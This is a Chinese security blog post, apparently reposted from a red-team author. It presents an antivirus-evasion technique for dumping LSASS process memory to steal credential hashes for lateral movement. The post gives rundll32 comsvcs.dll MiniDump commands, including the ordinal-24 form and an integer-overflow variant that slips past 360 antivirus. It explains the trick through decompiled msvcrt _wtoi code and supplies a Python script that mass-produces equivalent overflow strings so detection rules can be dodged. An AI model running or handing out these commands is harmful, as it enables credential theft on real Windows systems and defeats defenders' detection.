文章总结: 文档介绍一种利用rundll32结合wtoi函数整数溢出漏洞实现LSASS进程Dump的免杀技术,通过传入特定超长负数字符串使系统解析为MiniDump导出序号24,绕过360等杀软检测。文章详细分析逆向原理并提供Python脚本批量生成等效数字,附实操视频演示。 综合评分: 82 文章分类: 红队,免杀,内网渗透,漏洞分析,实战经验
攻防旺季 Rundll又活了 Dump Lsass免杀过最新360(附代码视频)
原创
Ting丶 Ting丶
Ting的安全笔记
2026年6月18日 18:11 四川
在小说阅读器读本章
去阅读
首先向关注当前公众号的师傅们说声抱歉,由于目前研究的内容都便在网上公开,所以有比较长时间没有更新。
最近攻防的项目也逐渐多起来了,红队中少不了要去dump一下lsass,去获取一些hash,进一步横向。
这里分享一种目前仍然适用的“dump lsass 免杀过最新360”方法。
过去dump lsass的方法很多,例如procdump、sqldumper、createdump、avdump、rdleakdiag、rundll32等,或者直接使用mimikatz。但很多已经不免杀了
而wtoi溢出让rundll32活了
目前我们知道这种写法是可以dump lsass成功的,但是不免杀
rundll32 comsvcs.dll MiniDump %LSASS_PID% dump.bin full
以上有一个很明显的特征“MiniDump”这个导出函数的dump lsass的关键,所以备受杀软关注
而rundll32如果第二个参数首字符是 #,则不会当成函数名,而是解析为导出序号 ordinal
我们用IDA来看看MiniDump的导出序号是什么 是24
因此有了下面的命令
rundll32 comsvcs.dll '#24' %LSASS_PID% dump.bin full
目前火绒是没有拦截的,不过360是有拦截的
那么就引出了下面的进阶版 下面来讲解原理
rundll32 "C:\windows\system32\comsvcs.dll,#-9999999999999999999999999999999976" %LSASS_PID% C:\lsass_dump.bin full
通过逆向发现 _FindCommandFunction函数处理了#后面的数字 用的是wtoi
而这个_wtoi是一个导出函数 本身rundll32自定义的
查看exports表 可以发现是用的msvcrt.dll导出的_wtoi
那么继续分析msvcrt.dll中的_wtoi
真正实现_wtoi 的函数是这个wcstoxlX
__int64 __fastcall wcstoxlX(struct localeinfo_struct *a1, wint_t *a2, wint_t **a3, unsigned int a4, int a5, int a6)
{
wint_t *v9; // rbx
wint_t v10; // bp
unsigned int v11; // edi
int v12; // esi
unsigned int v13; // r13d
unsigned int v14; // ecx
int v15; // ecx
wint_t *v16; // rbx
__int64 result; // rax
__crt_locale_pointers Locale; // [rsp+30h] [rbp-48h] BYREF
__int64 v19; // [rsp+40h] [rbp-38h]
char v20; // [rsp+48h] [rbp-30h]
_LocaleUpdate::_LocaleUpdate((_LocaleUpdate *)&Locale, a1);
if ( a3 )
*a3 = a2;
if ( !a2 || a4 && a4 - 2 > 0x22 )
{
*errno() = 22;
invalid_parameter(nullptr, nullptr, nullptr, 0, 0);
}
v9 = a2 + 1;
*errno() = 0;
v10 = *a2;
v11 = 0;
while ( iswctype_l(v10, 8u, &Locale) )
v10 = *v9++;
v12 = a5;
if ( v10 == '-' )
{
v12 = a5 | 2;
}
else if ( v10 != '+' )
{
goto LABEL_14;
}
v10 = *v9++;
LABEL_14:
if ( a4 )
{
if ( a4 != 16 )
goto LABEL_24;
goto LABEL_21;
}
if ( !(unsigned int)wchartodigit(v10) )
{
if ( ((*v9 - 88) & 0xFFDF) != 0 )
{
a4 = 8;
goto LABEL_24;
}
a4 = 16;
LABEL_21:
if ( !(unsigned int)wchartodigit(v10) && ((*v9 - 88) & 0xFFDF) == 0 )
{
v10 = v9[1];
v9 += 2;
}
goto LABEL_24;
}
a4 = 10;
LABEL_24:
v13 = 0xFFFFFFFF / a4;
while ( 1 )
{
v14 = wchartodigit(v10);
if ( v14 != -1 )
goto LABEL_31;
if ( (unsigned __int16)(v10 - 65) > 0x19u && (unsigned __int16)(v10 - 97) > 0x19u )
break;
v15 = v10 - 32;
if ( (unsigned __int16)(v10 - 97) > 0x19u )
v15 = v10;
v14 = v15 - 55;
LABEL_31:
if ( v14 >= a4 )
break;
v12 |= 8u;
if ( a6 || v11 < v13 || v11 == v13 && v14 <= 0xFFFFFFFF % a4 )
{
v11 = v14 + a4 * v11;
}
else
{
v12 |= 4u;
if ( !a3 )
break;
}
v10 = *v9++;
}
v16 = v9 - 1;
if ( (v12 & 8) != 0 )
{
if ( (v12 & 4) == 0 )
{
if ( (v12 & 1) != 0 )
goto LABEL_53;
if ( (v12 & 2) != 0 )
{
if ( v11 <= 0x80000000 )
goto LABEL_53;
}
else if ( v11 <= 0x7FFFFFFF )
{
goto LABEL_53;
}
}
if ( !a6 )
{
*errno() = 34;
if ( (v12 & 1) != 0 )
v11 = -1;
else
v11 = ((v12 & 2) != 0) + 0x7FFFFFFF;
}
}
else
{
if ( a3 )
v16 = a2;
v11 = 0;
}
LABEL_53:
if ( a3 )
*a3 = v16;
result = -v11;
if ( (v12 & 2) == 0 )
result = v11;
if ( v20 )
*(_DWORD *)(v19 + 200) &= ~2u;
return result;
}
那么当 -9999999999999999999999999999999976 传入之后 执行的步骤如下
- 输入字符串:负号 + 超长数字,循环持续计算无符号 32 位 v11;
- 每一步v11 = v11 * 10 + digit,超出 32 位无符号范围自动模 2^32=4294967296;
- 全部字符计算完毕后,v11 = 24(无符号 32 位);
- 代码走负数分支:result = -v11 = -24;
- _wtoi 把 64 位的 -24 截断成 32 位 int,返回值 = 0xFFFFFFE8 = -24;
- 回到 rundll32 的 _FindCommandFunction:c运行
v7 = _wtoi(L"-999...9976"); // v7 = -24
GetProcAddress(hMod, (LPCSTR)v7);
- 上层 rundll32 代码对序号取负:ordinal = -v7 = 24,成功匹配 MiniDump 导出序号。
那么是不是这样 -9999999999999999999999999999999976这样的数字可以呢?如果这个数字被加入了规则不就又失效了吗?
暂时不用担心,可以通过以下脚本一次性批量生成大量的这样的数字
import sys
def wtoi_overflow(s: str, bits: int = 32) -> int:
s = s.strip()
if not s:
return 0
sign = 1
idx = 0
if s[0] == '-':
sign = -1
idx = 1
elif s[0] == '+':
idx = 1
mask = (1 << bits) - 1
half = 1 << (bits - 1)
result = 0
for ch in s[idx:]:
if ch.isdigit():
result = (result * 10 + int(ch)) & mask
else:
break
if sign == -1:
result = (-result) & mask
if result >= half:
result -= (1 << bits)
return result
def generate_equivalent_numbers(base_str: str, count: int = 20,
bits: int = 32, min_digits: int = 20):
target_overflow = wtoi_overflow(base_str, bits)
print(f"[*] 目标溢出值: {target_overflow}")
base_int = int(base_str)
mod = 1 << bits
equivalents = []
for k in range(-count, count + 1):
val = base_int + k * mod
if val == 0:
continue
if len(str(abs(val))) >= min_digits:
equivalents.append(str(val))
return equivalents
if __name__ == "__main__":
base = "-10000000000000000000000042949672936"
if len(sys.argv) > 1:
base = sys.argv[1]
bits = 32
if len(sys.argv) > 2:
bits = int(sys.argv[2])
print(f"使用基数: {base}, 模 2^{bits}")
numbers = generate_equivalent_numbers(base, count=20, bits=bits,
min_digits=len(base)-2)
print(f"\n生成的等效超大数字 ({len(numbers)} 个):")
for n in numbers:
print(n)
复现视频
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
Ting的安全笔记已关注
分享视频
,时长02:50
0/0
00:00/02:50
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
02:50
02:50
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
攻防旺季 Rundll又活了 Dump Lsass免杀过最新360(附代码视频)
观看更多
原创
,
攻防旺季 Rundll又活了 Dump Lsass免杀过最新360(附代码视频)
Ting的安全笔记已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ting的安全笔记 Ting丶 Ting丶《攻防旺季 Rundll又活了 Dump Lsass免杀过最新360(附代码视频)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论